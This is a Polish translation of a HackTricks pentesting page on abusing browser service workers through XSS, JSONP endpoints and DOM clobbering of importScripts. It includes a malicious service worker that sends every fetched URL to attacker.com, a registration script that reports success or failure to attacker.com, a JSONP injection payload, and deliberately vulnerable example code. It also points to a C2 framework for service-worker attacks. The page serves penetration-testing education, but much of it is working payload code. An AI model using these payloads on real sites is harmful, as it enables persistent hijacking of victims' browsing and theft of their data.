hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
2024-02-11 01:46:25 +00:00

9.4 KiB

Nadużywanie pracowników serwisowych

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Podstawowe informacje

Pracownik serwisowy to skrypt uruchamiany przez przeglądarkę w tle, niezależnie od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, zwiększając tym samym możliwości przetwarzania w trybie offline i w tle. Szczegółowe informacje na temat pracowników serwisowych można znaleźć tutaj. Wykorzystując pracowników serwisowych w podatnej domenie internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.

Sprawdzanie istniejących pracowników serwisowych

Istniejące pracowniki serwisowe można sprawdzić w sekcji Pracownicy serwisowi w zakładce Aplikacja w Narzędziach dla programistów. Inną metodą jest odwiedzenie chrome://serviceworker-internals dla bardziej szczegółowego widoku.

Powiadomienia push

Uprawnienia do powiadomień push bezpośrednio wpływają na zdolność pracownika serwisowego do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odmówione, ogranicza to potencjał pracownika serwisowego do stanowienia ciągłego zagrożenia. Z kolei udzielenie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych ataków.

Atak polegający na tworzeniu pracownika serwisowego

Aby wykorzystać tę podatność, musisz znaleźć:

  • Sposób na przesyłanie dowolnych plików JS na serwer i XSS do ładowania pracownika serwisowego przesłanego pliku JS
  • Podatne żądanie JSONP, w którym można manipulować wynikiem (za pomocą dowolnego kodu JS) oraz XSS, aby załadować JSONP z ładunkiem, który załaduje złośliwego pracownika serwisowego.

W poniższym przykładzie przedstawiam kod do zarejestrowania nowego pracownika serwisowego, który będzie nasłuchiwał zdarzenia fetch i będzie wysyłał na serwer atakującego każdy pobrany adres URL (to jest kod, który musisz przesłać na serwer lub załadować za pomocą podatnej odpowiedzi JSONP):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

A oto kod, który zarejestruje pracownika (kod, który powinieneś móc wykonać, wykorzystując XSS). W tym przypadku zostanie wysłane żądanie GET do serwera atakującego, informujące o tym, czy rejestracja pracownika usługi zakończyła się sukcesem czy nie:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

W przypadku wykorzystania podatnego punktu końcowego JSONP powinieneś umieścić wartość wewnątrz var sw. Na przykład:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Istnieje C2 dedykowany do wykorzystywania pracowników usługowych o nazwie Shadow Workers, który będzie bardzo przydatny do wykorzystania tych podatności.

Dyrektywa 24-godzinnej pamięci podręcznej ogranicza czas życia złośliwego lub skompromitowanego pracownika usługowego (SW) do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą zmniejszyć czas życia skryptu SW (TTL). Deweloperzy są również zaleceni do utworzenia przełącznika wyłączającego pracownika usługowego dla szybkiego dezaktywowania.

Wykorzystanie importScripts w SW za pomocą DOM Clobbering

Funkcja importScripts wywołana z pracownika usługowego może importować skrypt z innej domeny. Jeśli ta funkcja jest wywoływana za pomocą parametru, który atakujący mógłby zmodyfikować, będzie mógł importować skrypt JS z jego domeny i uzyskać XSS.

To nawet omija ochrony CSP.

Przykładowy podatny kod:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Z wykorzystaniem DOM Clobbering

Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawdź:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Jeśli URL/domena, z której SW korzysta do wywołania importScripts, znajduje się wewnątrz elementu HTML, można go zmodyfikować za pomocą DOM Clobbering, aby SW załadował skrypt z własnej domeny.

Przykład tego można znaleźć w linku referencyjnym.

Odwołania

Znajduj luki, które mają największe znaczenie, abyś mógł je szybciej naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!